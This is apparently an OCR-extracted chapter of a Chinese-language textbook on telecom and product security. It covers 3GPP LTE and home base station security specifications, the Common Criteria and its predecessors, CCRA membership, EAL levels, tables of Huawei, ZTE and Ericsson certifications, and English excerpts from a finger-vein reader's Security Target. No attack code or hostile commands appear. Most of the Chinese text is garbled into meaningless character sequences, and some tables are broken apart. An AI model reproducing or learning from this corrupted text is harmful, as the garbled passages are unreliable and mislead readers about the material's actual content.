i%@@moM6i1ﬁ6i6%ﬁﬁmﬁ?ﬁ%@iﬁwﬁﬁﬁﬁﬁﬁ’ul%$
A4 F k] @ i IMSE KRG R pFaE ] WA BIER Y i oo
% 62 &M% EPS £4knrb k> A& 24 0 ik £45 0 ¢ 7 KeNB, KNASiInt,
KNASenc, KUPenc, KRRCint, KRRCenc and KUpint - iz# £ 4@ el 2 Az 8 5 2
Fo EVERMEP o F 63 WP ARERA A R g oy 6.4 WP AP TN
WiE (S 0¥ > 2 & (Security Context)e £ 18 > F & T4 e - B2t i3 Bk et B E (NAS
COUNTs) > F1 5 NAS COUNTs 2 # £4uE42? > Ftpg £ & chdkd > s § #
KB ZEE LT AP RERBTDEY ook 3 o BERAL S S PO RERT
MIEGZEE M o NASCOUNT » v & § %% aiu|z - o

PR W F AR S GRRROT D o PR s R FRR BER 4
FaEdkir GUTIL & & TS23.003 p o k& (T 2P avin o 406 & 4% 7| & 40
WE 0 R SNt B o & 7242 ¢ > WP FER E AT I RER R
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45 (1) A dpil 4% ~(2) X2-3 £ ~(3) S1# < ~(4) AxppdEd o 2 4ap
it TS36.331 7 o A ® ’ﬁ;:;;ﬁmiw » T die & > 5% (Secure Mode) o
kR FEBEFERAAN AL IEFRRG Y R § G HRETSREIR o &

SR FRP Ao AIRIEE A4 N kg ke B8 R F & T UserPlane fv RRC &
2l M2 RP AR R LREBY > RAVEFATRY -

TS33401 1 & ¥ 1 384 3GPP %{pen% 23 » ¢ 51 A AR~ E - &

WA BT T 2RSS o A 20 A ARM % 2T KA 53 &Y o

HUv 44 3GPP 5 1A% 2R AL WA F TRE S EHIEL AL RFEY
AL LR E

2. TR 33.820

TR 33.820 2 & A Aben® 2 4 T2 A7 6 Higlt @ P
ea Pl g L S AR S S SR R 5 T

A
%
FRF R X REEY CRREOT 2RASFE

\*V

PR SRR A b 3G ] A sk ks 2 e g 0 H Y 3G ikl Ak
HiE% 2 H g (Security Gateway > SeGW) #B~% 4 chir v g > £ 7 SeGW 7
B A AR TT4R T 30 0 3 B3t TS 33401 chT < % >k & » TR 33.820 B &%k %

% 2 %Hs HT B i e (feature groups) k4R34 (4e® 3-42) > ¢ 7 (1) 3l A
BB 2 () % >~ (1) fed] A pRAE (service domain) % 2> ~(IV) UE
FERIAEE 2 (V) UE 58-% 288 o e A s 5 Bo% 2R3 8 &7 SeGW 4p 7 3
B PUGFE BB IE R TR E TR LR LT AN RRE MES
SeGW & 4% e e lF % 2 F & L i en% 2800 o MR AR % 2 A A
o Y B S8 2N E R LG T 2 o UE B4 % 2F
UE 328422 ¢ 3 hZ 28 a UE 3PF 2BHFHUEZRBEF 3 22 Ko
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V) Mobile Network

Security Stratum

UE access
control Stratum

wnrens A1undas ssaddy
an@E)H

W 3-42 R A% 2HH

L %R © 3GPP

RIFARLAMAAST BTN E D ¢ FIET R 4 AR S
7c# (physical intrusion) ~ ® F¥ X 3c# ~ @ w ARz § sefc| sk =¥~ 70 g DOS
YO s e ek DOS Fc#EE o pteh > TR33.820 7 gt it & P4 2 2 B A I enfhiag

(1) MRl eeBiis i - (2) #Lac el - (3) B4l A 22 5
BB (4) B B s e T2 5e B~ (5) Pros BT, & 5 A R EE B g M SR
(6) i@ * FFHEMusR > LHA LI PLBEFEL W fiE F AP

ZITER

H

ol

FAFSHFTI FOIPA AN RT Tt 2 F R ESEL S P
Bdoo £¥ECA Ak 27 R % % TS 33401 ¢ %> eNodeB i * % > F
Fgdwdp g R ¥ 2 ) FAR SRR DS P S f T R
MR b e TIE ~ BBTH1 4] - PR R & 8 4 413 > B A RS S U

)
.

PR R AR % 2R R ¢ A R TR R TR

% T U AR B R E R KR R EERE R TR

dir
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VR B nE OE 18 B v i (Backhaul) e 48] o3 BRAY T8 4]~ Al A By
FI 4] - OAM % 2484] ~ PR I &% 248415 o

A% 0 TR 33820 &4 A ¢ 82 * P 7 B4 VA 2= B A
BORARE RE S R 0 BE B L FARRE A AR KR RlE A
PAHF Y FDFRY EAP-AKA R G HE 5 A#HO T Y £4EBETERT T A TEY
peb > TR 33.820 # 2k * IKEV2 (v 2 B @At $- B Lg% > 22
HREH D0 - B oA A sE T K BSEAC Ak 2 % 0w & d TS 25.467
SRR e B BRG AEE R SR T R B BRRE S L
ook~ ol SRS N KA RAC A L FE TR F o

d >t TR 33.820 & 4L R ge2 — > @ A - i Ppdp
R ARy BiEy a5 aiaﬁo@{&@a“iiéﬁmw&ﬂé%oéﬁﬁ
FRBRILF AT A
ﬁﬂﬁwé shdg gl o BEAX G B R P A TS33.320 AL 0 F1E L % 20 FERA Y
Ao kA3 R RIALLTF F TAAME 220 0 47 145 TR 33.820 p
g RG] o

< ) e
= I E

e o
3
H\

b
I

|
d
N

2
Ir
e
<y

s
ﬁ}%.
i
&
o

e
i3
A
4
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rmh}

3. TS33.320

TS33.320 2 & &/ 5 el A =b{r 3G Al b =b s B 6 22 ] b b AR B 53 el B &
BLE RGBT TR TP FEEE R F > 5 (Security Features) £ % »
snA2 (Security Procedures ) 1% Xz % > Z oo

B R Ay B A Ak (Ao 3-43)0 i ¥ e UESET Y e U
GCA AR o AR A 2 & 2 e d A BT & > W (Security Gateway
SeGW) £kl sk § 7 i 5o (HeMS) » 1 dnpros i » T 2 £ s e
B e Y 2 pcA AW E (HeNB-GW) ~ AAA Sever/HSS ~ HeMS % & gL - 4t
WHEHEY S g # T SeCGW F & Al A s e IuE 0 X 0 Al A sk SeGW
R BaE & pHE RRE @%?JE'J ts % i gt (Backhaul)e3 3
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N
Q
=
+

insecure
link

Bl 3- 43 A3 A =k 7R W

FAL kR 3GPP

TR EHAAEEREY FRABLZL 2# 0011 R S MR AR
® Hosting Party #zu2 2 Jf £ ** Hosting Party Module (HPM) > @ HPM & - # I+ &
R B G ETEYL P KRB R T T 2 T g kI Hosting Party & 7% -5.1.2
$a it 7 =k B (Trusted Environment » TrE) %4 o 515 TrE £ - B PR 38R 7iH42
A4 TR R E 2 AR A PRAE 0 Joor i A ST TIE afade AR ERF L 2R

(secure boot) efg & » {7 id ~ ITE A AREfRN R FMERE o Lt 3 TIE
7 ehag g Sl (sensitive functions) & F & $HicA| A R e TR B KR EE EY
7 (device validation) - 5.2 45 it 7 fc 3] A xb &8 SeGW 4 3 32 84 - 5.3 &y it 7
hosting party s74p 7 zuzE 4] » 2 & £ % EAP-AKA &30z > 2 54 ik 7 H @
FE2 X 2FR o GAMAALEEET RN PIREY B @ ML LGy iR
#1~HeMS £2 3G #ic 7] AL =k A g & JF & %3 3G fic ] A 2k 38 7 3+ 2R% 7% (location verification )

A
= o

AR O AT AT 2o RS T Récbz k22 R AR 3K
B ERRE  Gldofcd ek TE en® 2% > %% @ (Trusted Reference
Value) i3 3ciinfg ~ e b enpf F e o6 & 28415 -

- F o it ) Rk 2 SeGW [ e A2 ® MR E % T F 4k % 2>F R
A B e Z A Ak SeGW B ens B %3 (7.1)~ il A xb &2 SeGW B engn## (7.2) ~
Hosting Party szazgE 4] (7.3) ~ IPSec i if e = iy (7.4) 248 gt s » 5

S

B 2L RET TGRSR RS 4 LA
Pﬁ#i,’ B o
PPN e o 108
3F WL R HATY
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PR EREMARLYRDT 2R G 0 ¢ TR BORE (81) ARk

A4 (8.2)  HeMS 22 el A=k B in & enif 48 4] (8.3)~ sl A=k frd—

Fsdl (84) MRl A=t o B & 4 A #223% (Public Key Infrastructure » PKI)
w¢w5ﬁ“%ﬁ‘*”’ﬁ”*’wﬁxiﬁﬂﬁﬁaﬁﬁ%ﬁaﬁ&&a

TFEE P T2 K o

m@.

ﬂ

}

PAREESHTEUFEAS  FELRFL T R2RER Y f L2 Sf
Flt i B R A A A B A A W B R A R ST 2L e
¥ & 1 TS 25.467 ~ TS33.102 £ TS33.401 # -

'SH

F - R 45 H micro NB &7 3G A A=k enfs d 2 » 3 B2474] ~ CSG ¢ B :n#E
BEGPEREE 5L - TRHEMI AT E &4 5 (X2/lurh interface ) ih& > /i 4% »
P s sk e 25,467 (lurh interface ) £7 36.300 (X2 interface) -

TS 33.320 £ 4FACAl Ak eh A % 2 FHRP 0 0 T LB G B EhE 2 &
s A A kg SeGW 4p I 3 o~ MR Ak B PR chle o BB KR o0
Beprd)% o AA b > TS 33320 £ i NenfBiE 2 B G pr & e Ak T
ﬁﬁﬂaﬁ%ifliw&’@a%ﬁﬁﬁﬁg GRS AR e L
TRRAWUEF 2 5 R A SR P REDRF > FIZFREETUAHRLTEIRF - F
%%#ﬁ@’?%d&mihﬂlﬁﬁ%; Henflid o dok A ki ks F) S0

3 ﬁyg#{gﬁcnﬁ R AN Z D @R B 'gua T2 :«Ldﬂz?rs{,ﬁbﬁ: * o
+ F]pt > TS 33.320 LA RgE TN RRIIE R 0 & T U EF A% A SRR RIIE P
ES-

Z ~ Xk ER

BRI E - BARE G KA SARA AR A G P AR F A SR
RGP BB AP RT UL A S
WORAA NS T8 e NTAL 220 §- B IT AXGEFTAL 2075 FR)=
PR 6 TRAZITASAL FRIFRENY hF 2R A F2 280

BLPE > T g D PR pReng Y o
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Y RF LT A 53Rk ® a4 % K TCSEC®® (Trusted Computer System
Evaluation Criteria) ~ g ' ¢h ITSEC59 ( Information Technology Security Evaluation
Criteria)~ 4 £ < # CTCPEC( Canadian Trusted Computer Product Evaluation Criteria ) ~

CC (Common Criteria for Information Technology Security Evaluation ) »

TCSEC» a4 3 (OrangeBook ) » 4= iR>* 2 W& = » * 3PN IR L T & 5o
HE D ST E S R AN AR cRAIHER e T A 4
AX 2R~ FEE s FREEX 22 FlA D FENTHRBERE
(confidentiality ) €3¢

ITSEC & gt ] 2 enie® > 30 1990 #d 2 R~ LW~ Fg 2 e Wk o F - JE
SR BFSTAY C B A bk FORSHEATER Y o APt TCSEC - ITSEC v

ﬁi&’ﬁ S s ¥R n A Baf S T iR E & (Assurance Level ) endjisim & A 4

RN

CTCPEC #_4c £ * @‘} 75 TCSEC - 2 “ﬁ% TCSEC - & f* %8> ¥ %% ITSEC ¢ %%

M (Assurance) snE & @ B A ke % - s F 3 1993 £ o

CC (Common Criteria) » ¢ ~ #Fi* T £ e | & T2 ®p) >3t 1999 &
87 ;2% ISO W% %% (ISO/IEC15408) P o & A & MFHE % 2 & 53T
=% 5@%5&%5%7 X iR s & 7 p o 5 ob sk A 5 oversion 3.1 revision 4 o £
o 2E R el B AT 0 S R e B AR 2 B R R SR eh
ITSEC ; 4piTP5#p > £ Ren TCSEC 438 B 11 % » T A4k4e £ + sz B 1) CTCPEC
EoBRBEEIFEINERFERCC-

CCehpfids- BREL nIT A B3R fa% £ Fa% 2 Emameia
T R3PS ELF LA 2 BHEEREMNE- HHD IT 2 5

B EREA SR RS PR SRR A ) 4R el B SR
WU GERMCE o X ER P B I E IR L BB 2R ER] 0 X0 b
SR RS B PR L IT A 5d B & S 2B o

%8 Trusted Computer System Evaluation Criteria, http://csrc.nist.gov/publications/history/dod85.pdf, National Security Institute.
% Information Technology Security Evaluation Criteria, http://www.ssi.gouv.fr/uploads/2015/01/ITSEC-uk.pdf.
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LRERLEY NERFALY A 5L

MEFR R AGREOL T (RE
ARG N2 A (TR )

Common Criteria Recognition Arrangement ( f # CCRA) > » 2 #it [ & | B p]-K
iR - BRERR BRI h g AT A S8 %0

%% %% ¢ B (Certificate Authorizing Participant » #§ #2 CAP) : & & IT & &% 2
By enic 4 o BRP F 44 CCRA AR & — iR s @it > 7 1444
IT & &Sk o 5T & 8 T8 hREEN o0 #HCAP § 4c £ < o
i@~%@~ﬁ@\ﬁw‘ﬁﬁ‘ﬁw‘&ﬁﬁ~ﬂ§~%#‘ﬁﬁﬁ~i%ﬂ~
JBAHE P A GERFRT LEER -

%2 ¢ R (Certificate Consuming Participant » f§ 4 CCP): £ %5 % & i %
HITASFT 2EEHRA > a2 5 ITASWE 2RFL TG > L L AP
2RI E R RLHRBERE TN L DT 2 TREBEFRE AL BRIET A
EZ o TR SEAELTEH CCCP PG A FH A TR R
B~ @94~ 7 At gl g o

(=) £ FERBEGS
L 2R HE A

"R ER ¥ HERAcA 3-12

8 Members of the CCRA, https://www.commoncriteriaportal.org/ccra/members/, Common Criteria.
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% 3-12CCApM ¢34 R 4

2B B

CC + F & p) (Common Criteria)
TEAEERERKFRET P I KRR (Arrangement on the

CCRA Recognition of Common Criteria Certificates in the field of IT Security )
CM f fx ¢ 7= (Configuration Management )
EAL i %% % % (Evaluation Assurance Level )
OSP ‘s 2>y (Organizational Security policy )
PP ## 2% (Protection Profile)
SAR % > %z & o (Security Assurance Requirement )
SFR % > v & F (Security Functional Requirement )
ST % &40 (Security Target )
TOE 3= %40 (Target of Evaluation )
TSF TOE = 2> # it (TOE Security Functionality )

T kiR D ABIRER

2. 1P ERFELF

24 % |SO/IEC 15408 £ k= 2% | (Common Criteria, CC)¥2 ISO/IEC 18045 £ = %
Al ;%3 (Common Evaluation Methodology, CEM) % i 3t & &2 % > 3L Y % 2R
ﬁpw ' ¥ f#iﬁléﬁ?%iﬁl%?iiér%i;ﬁﬁi PREX PR TR ERRERE LX 2
AR FRFETEAAPR AR AR L=y E- b2 % 230
?ﬁ&?%°Egaémimﬁ§&&%ﬂ$@7Fﬁ*?%ﬁﬂ%&?%&%ﬁ’

AR R EE G B3 & % (Evaluation Assurance Level, EAL) 5 A % o

p @ CC:u# 5 B2 45 ISO/IEC 15408 £ = 2 B &7 ISO/IEC 18045 & I 3 p| =
oo+ A R DR 735 (CNS15408) £ I+ # R (ISO/IEC 15408) ¢ 4= B384 :

5 - - A 4% #-7] (CC Publications Part 1 : Introduction and general model ) :
ot A% 2R RiDL W EREFS 0 UE & % % (Protection Profile, PP)
2% > fki(Security Target, ST)2 7 # °

s = $RA-% > 7 i & & (CC Publications Part 2 : Security Functional Requirements ) :
BEFREIG S 2Tl > ©-8 Fo0 87 2 2 i (component) ~ 72% (family)
g g w(class) » 17 4 % if 3% % & n(Target Of Evaluation, TOE)% 2 # it & il i

£ BREFL i 112
2

B 7% R B Rl AR B ATARRT §
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> %% & R (CC Publications Part 3 : Security Assurance Requirements ) :

> E B IR 2 REL REHAFRED > TRLX 2 EEL

AT IR ENE NS O TR -

%% P 4ot 3-13 ¢

= B iREE % (EAL)

% 3-13 TR REEREP

T EER R TR E B
# vtk Pl(Functionally |t A 52 Aphd ~ 2 enfd S 42 T
EAL 1 o 2 E YN
Tested) A A TR EY R LY g
EAL 2 & 442 3p13E (Structurally “5‘_;@%3"—?‘: RRGFASFOEHE ¢ A
Tested) K R AR iR R
) - T A ORI IR R b AR
ORI iRl B WK R S B
EAL 3 (Methodically Tested and ™ %78 12
Cips it . =
Tk s R R iéﬂfﬁw\maﬁﬁaii%i
EAL 4 (Methodically Designed, WA N ALSE > I TOE & B 3 &
Tested and Reviewed) ﬁ\jﬁ? PR R ZT R
, e FRIDALCK AR E D N R
H AT 2 R 2 E N - Ilﬁg\‘ﬂﬁ\uhm—f‘zﬁ‘i (£33
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— . AEND 12 2 2 2 2 3

Vulnerability AVA_VAN 1 2 2 3 4 5 6

Assessment

FA kR ABFER

(=) ARFRLGKAE CCamaEmm

A R%E £ PR Lk (Common Criteria Recognition Arrangement, CCRA) »
LEAPT KIWEALL I 4% 2 8% hd 5> @ EALS %502} (¢ § EALD)hA &
LAY P ERRAP 2 BT L 2EOF KPR R RFRP LT T S P Y

SEERBF S EALA > AV ERBE S N4 r EALS b e @R E M o TS

116



ZFEALETLXRPERTE (F1P) 22775 PrFEL

FrPEREY G- RN B PR EER
C

P CRSHEEIUBFERLASFE LD B &
ﬂ’; é_rr{"ﬁ igagﬁ%filrioé_?fgf#%ﬁ‘%&ajkfﬁ;{ ﬁ%jﬁgg%«%\‘ 3_15&5\‘ 3-16’
FPPREFTCRAPLE CCREPEENE 5

%315 ARRRRALE CCREkl

vy ﬁ\ 0 ] _}i‘ S ]
TERED ¥ %':‘“L%i rREE A v KR & e
B AR % S % S
Ericsson India Global 1 1
Services Pvt Ltd.
Huawei Technologies Co.
1 24 1 26
Ltd.
ZTE Corporation 3 7 1 11
B 4 32 2 38
TR AR D ABGEL
3% TRETEHEEY 117
$ 32 & T RIS 2R AL BATAREFT ]



ZEARTERPERTE (FL1P) 23277 % DAEL

#%3-16 A%R &

* & CCRaEm

A S A& LA WP FRER | REP Y
Router Operating System
SEOS Version: 11.1.2.3 release |Ericsson India
FE.AE  no:713 running on Ericsson Global
TR J ! EAL3 03/04/2013
L SmartEdge Series Router Services Pvt
SE100, SE600, SE1200, Ltd.
SE1200H
1 P2~3r 4] |OceanStor T&SX900 Series  |Huawei EAL3+ALC_
# ¥ ¥ & (Storage System Software, Technologies |CMC.4,ALC_ |05/27/2016
2 version V100R005C30SPC300 |Co. Ltd. CMS 4
) , Huawei
i xE |Eudemonl000E-N (USG6600) ) EAL4+ALC
L . Technologies 05/30/2016
g k% |Series Firewall FLR.1
Co. Ltd.
) , Huawei EAL3+ALC
i A% |Eudemon8000E-X/USG9500 ) -
s . Technologies |[CMC.4,ALC_ |05/30/2016
g k% |Series Firewall
Co. Ltd. CMS 4
Huawei
FE.EAE  |Eudemon200E-N(USG6300&6 i EAL4+ALC
s . Technologies 05/27/2016
g k% |500) Series Firewall FLR.1
Co. Ltd.
, Huawei
PERAE . _ EAL3+ALC_
s AR Series Routers Technologies 11/23/2015
Q5 e FLR.2
Co. Ltd.
i Huawei
PRER ) ) EAL3+ALC_
s NetEngine5000E Core Router |Technologies 06/04/2015
Bk kL CMC 4
Co. Ltd.
, Huawei
EREE | i EAL3+ALC_
s iManager U2000 Technologies 06/04/2015
Bk FLR.2
Co. Ltd.
USP running on Huawei .
. . . [Huawei
FELZE  |Transmission Equipment Series ) EAL3,ALC F
Technologies 06/02/2015
g k3% |(WDM/OTN,SDH/MSTP, Co. Ltd LR.2
RTN) V100R013C00 o
. . |3900 Series LTE eNodeB Huawei
PRER i EAL4+ALC
b Access Control Software Technologies FLR 1 03/06/2015
S version V100R008C01SPC820 |Co. Ltd. '
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A &4 A& # LB FHEEB | REPH
Carrier Grade Platform (CGP)
g 2 Version 1 Release 5 (Unique  |Huawei
b% ‘: f: = |version identifier: CGP Technologies |EAL3 03/06/2015
s \VV100R005C01) patch Co. Ltd.
VV100R005C01SPC506
3900 Series LTE eNodeB )
, , Huawel
R EE  |Access Control Software ) EAL4+ALC_
v ) Technologies 11/03/2014
g k% |version FLR.1
Co. Ltd.
V100R008C01SPC820B002
, , Huawei
FRAE . . . . |[EAL3+,ALC_
b s CloudEngine Series Switch Technologies CMC.A4 05/23/2014
o Co. Ltd. '
, , - . Huawei
pL %% |USNI810 Unified Service ) EAL3+ALC
s Technologies 03/07/2014
g % |Node VO0OR012 CMCA4
Co. Ltd.
., , Huawei
EERAR . EAL3+ALC
s UGWwW9811 Technologies 12/13/2013
Bk CMCA4
Co. Ltd.
$2300, S2700, S5300, S5700, i
Huawei
PEL ¥ |S6300, S6700, S7700, S9300, . EAL3+ALC_
v ) Technologies 08/21/2013
g % % |S9700 Ethernet Switches CMC .4
Co. Ltd.
VV200R003
i ) Huawei EAL3+ALC
FEREYE WIMAX BS Software version ) -
e Technologies |[CMC.4,ALC_ |05/21/2012
g k% |[V300R003C01SPC100
Co. Ltd. CMS.4
Huawei EAL3+ALC_
FE.% % WCDMA NodeB Software, _
v Technologies |[CMC.4,ALC_ |04/26/2012
g %% |[V200R013C01SPCO010
Co. Ltd. CMS.4
g 2 BSC6900 Multimode Base Huaweli EAL3+ALC
bt: F:fj}l Station Controller Software,  [Technologies |CMC.4,ALC_ |04/23/2012
77 IV900R013C01SPCO10 Co. Ltd. CMS.4
., , . Huawei EAL3+,ALC
g% |GBTS Software, version . -
L Technologies |[CMC.4,ALC_ |04/03/2012
g k% VI00R013CO01
Co. Ltd. CMS.4
rp A% |HERT-BBU Software Platform,|Huawei EAL3+,ALC
, . ) 04/03/2012
B kX% |version Technologies |[CMC.4,ALC_
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A &4 A& # LB FHEEB | REPH
V200R007C01SPC040B811  |Co. Ltd. CMS.4
ok B 3900 Series LTE eNodeB Huawei EAL3+ALC_
‘_h F: ;  |software, version Technologies |[CMC.4,ALC_ |03/20/2012
oo V100R004C00SPC100 Co. Ltd. CMS.4
o B Integrated Management Huawei EAL3+ALC_
‘_h :;E Application Platform Version 3 [Technologies |CMC.4,ALC_ |03/03/2012
777 |Release 1 C05 SPC500 Co. Ltd. CMS.4
) | ) Huawei EAL3+ALC
fp %% |iManager M2000 version 2 ) -
o e Technologies |CMC.4,ALC_ |03/03/2012
g %% |Release 11 C01 CP 1301
Co. Ltd. CMS.4
#f2 % % |Carrier Grade Platform (CGP) Huawel
T Technologies |[EAL3 07/05/2011
l;’-: ,ﬁ o Vl r5
Co. Ltd.
; , . Huawei
Pp %% |NetEngine40E/CX600 _
s . ) Technologies |EAL3 07/05/2011
g % % |Universal Service Router v6 rl
Co. Ltd.
Huawei
Hvoskn _ _ |[EAL3,ALC_F
. FusionSphere Technologies LR 2 11/23/2015
oo Co. Ltd. '
ERarnadl
oo i _ ZTE EAL2+ALC_
¥ &k |Access System Series C30X ) 03/04/2013
" Corporation  |FLR.2
B B g4
oo i _ . |zTE EAL2+ALC_
Z ¥ & & |Base Station Controller Series i 09/14/2012
" Corporation  |FLR.2
B B g4
N 4 _ ZTE EAL2+,ALC_
¥ &k |Access System Series ) 08/17/2012
" Corporation  |FLR.2
FEpEE  |Softswitch and Media Gateway |[ZTE EAL2+ALC
P . : 03/15/2012
g % % |Communication System Corporation  |FLR.2
FRLEE  |ZXUN USPP Universal ZTE EAL2+ALC_
v . . . 12/16/2011
g1 k% |Subscriber Profile Platform Corporation  |FLR.2
ZXR10 5900 & 5900E & 8900
it A ¥ |& ZSR & T1200 Series ZTE EAL3+ALC_
. . : : 11/22/2011
g k% |Switches and Routers running |Corporation  |FLR.2
the ZXROS Operating System
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ZXR10 M6000 & T8000 &
gk % |8900E Series Routers and ZTE EAL3+ALC
. . : . 11/10/2011
L Switches Running the Corporation  |FLR.2
ZXROSNG Operating System
) ~|ZXR10 3900 Series Switches
ERLEE ) . |ZTE EAL3+ALC
) . Running the ZXROS Operating ) 10/21/2011
e Corporation  |FLR.2
System
) ~ |Mobile Switching Center
AR . . ZTE EAL2+,ALC
, Server / intelligent Controller _ 09/26/2011
B _ Corporation  |FLR.2
Extensive
) NetNumen U31 R13 V12.11.10
PERLEE ZTE EAL2+,ALC
s Element Management System ) 04/18/2011
Bk ke . Corporation  |FLR.2
(EMS) for Linux/HP
Hv %% |Optical Transmission ZTE EAL2+ALC
s . . : 02/25/2013
Bk Equipment Series Corporation  |FLR.2
TAL KR L AR
(2) % 2fpehe B2 ¥H

M AR >R 2 ﬁ_,a Gliaff Henh g & 2z 2 % %d 0T SR
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1. % 24+ (ST)
%2 gt Sy STenh AF 0 122 3% ST 326 eh TOE -
ST/TOE reference : 44+ ST 22 TOE enfk &~ T (¥p prenfp it » i § ¢ 7 ST enif
R ASEF PP o 02 STERHTOE 2 4 B ¥ L K4
GF% 2§l 3-44) -
TOE overview : f§ @y it TOE ehig * = ;% 22 TOE enfa#f > 4% TOE crie i i?
* K% TOE & 7 eh& 2 FriLilff ‘e p (355 L Bl 3-45) -
TOE description : § & i¥-minfg it TOE cfp B T3 » P av ¢ 7412k o BB R
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1.1. ST AND TOE REFERENCE

ST Title:

ST Version:

ST Date:

ST Author:

CC-Version:

Keywords:

TOE:

Developer:

UBReader? Security Target

1.12

2011-12-05

Hitachi-Omron Terminal Solutions, Corp.
3.1 Release 3

authentication: biometric: identification; verification: finger vein

Finger Vein Authentication Device UBReader? and its related guidance
documentation [AGD]
<Medel: TS-E3F1-T00UW / TS-E5F1-T00UWP=

<Hardware: D, Software: 03-00=

Hitachi-Omron Terminal Selutions. Corp.

W 3- 44 ST/TOE %R

PR &R p AR
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1.2. TOE OVERVIEW

The scope of this Security Target (ST) is to describe the functionality of the Finger Vein
Authentication Device UBReader2 (UBR2) as a biometric system in terms of [CC] and to

define functional and assurance requirements for it.

In this context the major scope of the UBR2 as a biometric system is to verify or reject a
human being using a pattern of his or her finger vein as unique characteristics of his or her
body. The TOE is used by an application (e.g. a portal) which utilizes the functionality of the
TOE to verify the identity of a user. The TOE requires other components in its operational

environment which are identified in chapter 1.3.6.

Please note that inside this ST the enrolment and the identification process of a biometric
system (see also chapter 1.3.2) are not considered. Chapter 1.3 gives a more details overview

about the design of the TOE and its boundaries.

W 3- 45 TOE %%

PR kR p APz

Authentication Engine

(1) Device status indicator LED I

application

USB Firmware

Capture Device
UBR2 Device

Upper

el |

B o

W 3-46 3 Wi F

FA &R p AP 2
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The logieal scope of the TOE is best deseribed by enumeration of the provided security

functionality:

»  Verification of user identity with finger vein patterns (1:1 matching using device

internal database)
+ Data protection by deletion of residual information

« Proteetion against physieal tampering and replay attacks

W 3- 47 BiEHH

FHRKR: pAp 2
2. - %Kz £ (Conformance claims)

% 233 ST ¢hi% & 1 (Conformance) -

CC conformance claim : 3#.p7 22 gt ST £ 4 # & {457 CC 4 & 5.(4c ) 3- 48) -
PPclaim @ z8p #r5 g2t ST £ 3 & 20 PP o

Package claim @ ip? #75 &t ST E 5 B A% 2 F RfpiEr 2 o

2. CONFORMANCE CLAIMS

2.1. CC CoNFORMANCE CLAIMS

This ST has been developed using Version 3.1 R3 of Common Criteria [CCI.

This ST is conform to part 2 and 3 of [CC]: no extended components have been defined.

2.2. PP CLAaIM

This ST does not claim conformance to any Protection Profile.

2.3. PACKAGE CLAIM

This ST conforms to assurance package EAL2 as defined in Common Criteria Part 3.

B 3- 48 Conformance claim

FHRKR: p AP 2
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3. & >R HgZ & (Security problem definition)
fo it ST R4F3deh% 2HAL > X% NP DR -

Assumptions @ P A A HIBERK 0 b B2 T 0 TOE sk 15 v 2 i A9
FRehF 2y 0 Vv e FHRITRE TR S E BB (4R 3-
49) -

Threats: &t B3l Pl 2 i - B¢ 7 =@ L (Threatagent)
13 T 0% (Adverseaction) e ® # A A g X Peni g ¥ Lo AR
‘ﬁﬁﬁﬁ‘@?ﬁ£#@5°$%ﬁﬁmié%ﬁﬂ4ﬁ%ﬁﬁﬁ’a§%ﬂ
A2 Bldel - BEIDRE 0 I DT p JRRR AR AT WP R @
(4- @] 3-50) -

Organizational security policies (OSP) : 5 it 4k (IR B 2. % > RP| ~ 25 & ErEL
Blde: £ 3 BB A FILR RBEE PRI T R Y F A AR R B
203 483K THH (4B 3-51) -

3.3. ASSUMPTIONS
A ADMINISTRATION

The administrator is well trained, non hostile, and reads the guidance documentation

carefully, completely understands and applies it.

The administrator 1s responsible to accompany the TOE installation and oversees the
biometric syvstem requirements regarding the TOE as well as the TOE settings and

l'equire ments.

W 3- 49 Assumptions example

PR kR P AP

OB ORILT % i 125
2
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3.4. THREATS
T.BRUTEFORCE

An attacker may perform a brute force attack in order to get verified by the TOE using

the identity of another user.

In this way the attacker 1s trving to get access to the assets residing in the environment

that should be protected with the support of the TOE.

W) 3- 50 Threats example

PR kR p AP

3.5. OSPs
OSP.ERROR

The TOE shall meet recognised national and/or international criteria for its security

relevant errvor rates (e.z. False Accept Rate (FAR) and False Rejection Rate (FRR)).

For the TOE a FAR of less than 0.001 1s claimed.

W) 3- 51 OSP example

FH&R P &Pz

4. % > P (Security Objectives)
i P gy i 4o f274 Security problem definition ¢ Z & R 47 o
Security Objectives for the TOE (SO ) : #.p? 44 TOE 7 security objectives » » 7%
. TOE 2 & E & & Atheh® >4 (4oF 3-52)
Security Objectives for the Environment (SOE ) : 3. 44 TOE # i% Ik 5 ¢ security
objectives » ~ ﬁﬁ;‘{#& FTOE e 8L § & & & E A% 24 (4rB 3-53) »

Security Objectives rationale : ¥+3% % B security objectives £ _4r i@ f3/i-% e s 4
gt I e > 7 & BEoT security objectives ®_4- i if 5 w | security problem

definitions » = § ~ OSPS fr Bk » I ¥ 3% i3 5 en it § (4o B 3- 54) o (£ 5
126
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FOUIEGR L - BF G AT A 0 F1 G 3 7 R B security objectives > # i R

B = F ~ OSPs 4 K ¥ A WA ¥ s 78 a4 o)

4.1. SEcurITY OBJECTIVES FOR THE TOE
O.BIO_VERIFICATION

The TOE shall provide a biometric verification mechanism to ensure access to a portal

with an adequate reliability.

The TOE shall ensure that only suitable biometric references (i.e. records that have heen

created and stored by the TOE itself) arve processed.

An “Exact match” comparison should not be counted as a positive verification as it may be

a replay attempt.

The TOE shall meet national and/or international criteria for its security relevant error

rates. For the TOE a FAR of less than 0.001 is claimed.

The TOE shall not authenticate forged biometric samples.

W) 3- 52 Security Objectives for the TOE example

FTH &R pAp =

4 2. SECURITY OBJECTIVES FOR THE OPERATIONAL
ENVIRONMENT

OE.ADMINISTRATION

It has to be ensured that the administrator is well trained, non-hostile, and has to read

the guidance documentation carefully, completely understand and apply it.

The administrator shall be responsible to accompany the TOE installation and oversees
the biometric system requirements regarding the TOE as well as the TOE settings and

requirements.

W 3- 53 Security Objectives for the TOE environment example

FHRER: pAp 2
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4.3.3. COUNTERING THE THREATS

The threat TBRUTEFORCE (using a large amount of possible biometric data to verify
against a wrong claimed 1id) is fully countered by O.BIO_VERIFICATION.
O.BIO_VERIFICATION ensures that the biometric verification process itself is done with
an appropriate reliability and that the chance of impostor brute force attempts is less than

the specified limit for the assurance claim of the TOE.

W] 3- 54 Security Objectives rationale example

5. 22 it g & (Extended components definition)

& i (components) #. CCA2m ¥ MEH B Hix 3 CCHomr By

ﬂ\¢

fui

Al it gk s Kt ST eng fpriz > ST € &4 4 p ¥ eng 2 A458 212 (extended

component) e
Extended components definition : < & p £ i¢ * Pl B wid > F RS LG

R AR T oangd gk 4 £ 5 22 CC af i enfkie (labeling )~ i = 5% (manner
of expression ) ~ Fg K 4 c1%¢ H(4r R 3-55) -
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5. Extended Components Definition (ASE_ECD)

5.1 Definition of Family FCS_RNG

